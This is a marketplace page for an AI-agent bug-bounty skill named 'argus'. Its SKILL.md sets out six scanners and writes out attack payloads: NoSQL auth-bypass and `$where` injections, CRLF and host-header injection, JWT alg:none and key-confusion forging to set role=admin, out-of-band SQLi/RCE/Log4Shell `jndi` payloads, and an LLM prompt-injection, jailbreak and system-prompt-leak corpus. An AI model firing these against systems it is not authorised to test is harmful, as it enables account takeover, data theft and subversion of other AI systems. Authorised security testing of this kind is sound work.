Skip to content
Security
Skill

/argus

Argus — the all-seeing scanner suite. Six automated scanners for high-value web + LLM bug classes — CORS misconfiguration (origin reflection / null / credentialed read), CRLF & host-header injection, NoSQL injection (operator auth-bypass / $where blind), JWT attacks (alg:none /

From plugin
claude-bug-bounty
4.2k15 skills9 agents33 commands
Install
$ npx -y skills add shuvonsec/claude-bug-bounty --skill argus --agent claude-code

How it fires

How this skill gets triggered: by you, by Claude, or both.

  • Fires itselfAuto-invocation. Claude auto-loads it when your prompt matches the work.Auto-invocation is when the right skill fires by itself at the right moment, driven by a FLOW.md router and a hook, instead of you invoking it by name. It is the difference between a skill being installed and a skill actually getting used.Read the full definition →
  • You can call itInvoke it directly when you want it.
  • Slash command/argus

Context preview

The summary Claude sees to decide when to auto-load this skill.

Argus — the all-seeing scanner suite. Six automated scanners for high-value web + LLM bug classes — CORS misconfiguration (origin reflection / null / credentialed read), CRLF & host-header injection, NoSQL injection (operator auth-bypass / $where blind), JWT attacks (alg:none /

SKILL.md

argus.SKILL.md
name: argus
description: Argus — the all-seeing scanner suite. Six automated scanners for high-value web + LLM bug classes — CORS misconfiguration (origin reflection / null / credentialed read), CRLF & host-header injection, NoSQL injection (operator auth-bypass / $where blind), JWT attacks (alg:none / RS256→HS256 confusion / secret crack), out-of-band confirmation of blind SSRF/XXE/SQLi/RCE/Log4Shell via interactsh, and an LLM red-team corpus (prompt-injection / jailbreak / system-prompt leak / exfil / indirect injection). Use when a target exposes a JSON API, a login endpoint, JWT auth, a parameter that might reach the server, a chatbot/agent, or any endpoint suspected of a blind/out-of-band bug.

ARGUS — THE ALL-SEEING SCANNER SUITE

> Named for Argus Panoptes, the hundred-eyed giant. Six "eyes" that surface what > ordinary scans miss: two of the most common web2 classes (CORS, CRLF), the > NoSQL "db" surface, JWT forging, **blind-bug confirmation via OOB** (the eye > that sees the invisible — unblocks an entire severity band), and automated LLM > red-teaming. All pure-Python, no new deps. Core logic is offline-testable.

---

0. ROUTING — which tool for what

| Signal on the target | Tool / command | |---|---| | API reflects `Origin`, or `ACAO`/`ACAC` headers seen | `/cors` | | Param reaches a redirect / `Location` / log / response header | `/crlf` | | JSON login or `{user,pass}` body, Mongo/Mongoose stack | `/nosqli` | | `Authorization: Bearer ey...` / JWT in cookie or storage | `/jwt-scan` | | Suspected **blind** SSRF/XXE/SQLi/RCE (no in-band signal) | `/oob` | | Chatbot / agent / LLM feature | `/llm-redteam` |

---

1. CORS — `/cors`

tools/cors_scanner.py https://api.target.com/me --cookie "session=..."
tools/cors_scanner.py -l recon/target.com/urls/api.txt --json

Sends crafted `Origin` headers, classifies `Access-Control-Allow-Origin` / `Access-Control-Allow-Credentials`:

  • **CRITICAL** — reflects attacker origin **with** `ACAC: true` → cookie-auth'd cross-origin read (account-data exfil).
  • **HIGH** — `null` origin trusted with credentials.
  • **MEDIUM** — reflects without creds (exploitable when auth = non-cookie token), or trusts http downgrade.
  • Probes suffix/prefix regex bypass (`target.com.evil`, `notarget.com`) and subdomain trust (chains with [takeover](../../commands/takeover.md)).

**Always pass `--cookie` with a live session** — the credentialed path is the win.

2. CRLF / host-header — `/crlf`

tools/crlf_scanner.py "https://target.com/r?u=x" --host-header

Injects encoded CRLF (`%0d%0a`, double-encoded, UTF-8 overlong `%E5%98%8A%E5%98%8D`) trying to land `Set-Cookie: crlftest=1` in the response. `--host-header` also tests `Host` / `X-Forwarded-Host` / `Forwarded` injection and flags attacker-host reflection in `Location` (password-reset poisoning). Impact: session fixation, open redirect, cache poisoning, reset poisoning.

> `urllib` strips raw `\r\n` from URLs by design — the **encoded** variants are > what actually go on the wire.

3. NoSQL injection — `/nosqli`

tools/nosqli_scanner.py --login https://t/api/login --user-field email --pass-field password
tools/nosqli_scanner.py --query "https://t/api/items?id=1"   # emits bracket variants
  • Operator auth-bypass: `{"email":{"$ne":null},"password":{"$ne":null}}`
  • Bracket syntax (Express/qs): `email[$ne]=&password[$ne]=`
  • `$where` time-based blind: `{"$where":"sleep(5000)"}` → server-side JS eval = **CRITICAL**

Sends a wrong-credential baseline first, flags a finding when status flips 401→200, body length jumps >25%, or the `$where` payload delays the response ≥3.5 s.

4. JWT attacks — `/jwt-scan` (offline)

tools/jwt_scanner.py "$TOKEN" --analyze
tools/jwt_scanner.py "$TOKEN" --alg-none --set role=admin
tools/jwt_scanner.py "$TOKEN" --confuse --public-key jwks_pub.pem --set role=admin
tools/jwt_scanner.py "$TOKEN" --crack --wordlist secrets.txt
  • `--alg-none` — strip signature, set `alg` to none/None/NONE/nOnE.
  • `--confuse` — RS256→HS256: re-sign with the server's **public** key as HMAC secret.
  • `--crack` — brute the HS256 secret.
  • `--analyze` — flags `alg=none`, missing `exp`, trust-bearing claims (`role`/`is_admin`/`scope`), `kid` (probe for traversal/SQLi).

Get the public key from `/.well-known/jwks.json` or `/jwks.json`. Replay the forged token against an authed endpoint — acceptance = **auth bypass / privesc**.

5. Out-of-band confirmation — `/oob` ⭐

The highest-leverage tool. Confirms **blind** bugs that have no in-band signal by correlating interactsh callbacks to the firing payload.

# 1. listener (prints your OOB domain, streams interactions)
tools/oob_listener.py --listen > inter.jsonl
# 2. payloads embedding a unique marker per injection point
tools/oob_listener.py --payloads cXXXX.oast.fun --json > payloads.json
# 3. correlate received callbacks
tools/oob_listener.py --correlate inter.jsonl --payloads-file payloads.json

Covers blind SSRF, XXE (incl. OOB-DTD exfil), SQLi (MSSQL `xp_dirtree` / MySQL `LOAD_FILE` / Oracle `UTL_HTTP` / Postgres `COPY…PROGRAM`), RCE (`curl`/`nslookup`/backticks), and Log4Shell (`${jndi:ldap://…}` + `${lower:j}` filter bypass). Needs `interactsh-client` (`/arsenal interactsh-client` for the install hint); payload generation + correlation work offline without it.

**Why it matters:** without OOB you cannot *prove* blind SSRF/XXE/SQLi/RCE — a whole band of Critical findings is otherwise un-submittable.

6. LLM red-team — `/llm-redteam`

tools/llm_redteam.py --url https://t/api/chat --field message
tools/llm_redteam.py --url https://t/api/chat \
  --template '{"messages":[{"role":"user","content":"{{PAYLOAD}}"}]}' \
  --response-path choices.0.message.content --category jailbreak

Fires a categorized corpus — `prompt-injection`, `jailbreak`, `system-prompt-leak`, `data-exfil`, `indirect-injection`, `guardrail-bypass` — and uses a **canary token** (`RT_PWNED_xxxx`) f

Read more
Ships withclaude-bug-bounty

AI-powered bug bounty hunting from your terminal - recon, 20 vuln classes, autonomous hunting, and report generation. All inside Claude Code.

Get the whole plugin

Other skills on claude-bug-bounty.